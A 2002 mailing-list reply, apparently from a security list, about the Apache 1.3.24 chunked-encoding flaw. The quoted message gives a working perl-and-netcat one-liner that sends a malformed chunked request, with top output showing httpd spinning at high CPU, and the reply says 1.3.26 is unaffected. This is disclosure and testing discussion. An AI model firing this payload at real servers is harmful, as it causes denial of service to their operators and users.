Re: apache chunked encoding

[Edwin Groothuis <edwin () mavetju org>]

On Thu, Jun 20, 2002 at 12:21:47AM +0200, Przemyslaw Frasunek wrote:
> I was playing a bit with chunked encoding vulnerability and found the
> following. When I send a request to Apache 1.3.24 using malformed
> chunked encoding, httpd process goes into infinite loop and CPU load
> grows to 100%. Example:
>
> perl -e 'print "POST http://www/index.html HTTP/1.1\r\nAccept: */*\r\nHost: www\r\nContent-Type: 
> application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\nContent-length: 5000\r\n\r\n" . "A"x5000 . 
> "\r\n\r\n"' | nc localhost 80
>
> 62681 www       63   0   146M  5364K RUN      3:08 45.90% 45.90% apache
> 42121 www       63   0   139M  2524K RUN      1:15 44.97% 44.97% apache
>
> Can anyone try it with 1.3.26?

Apache 1.3.26 doesn't show this behaviour
(yes, I've tried it with 1.3.20 first)

Edwin
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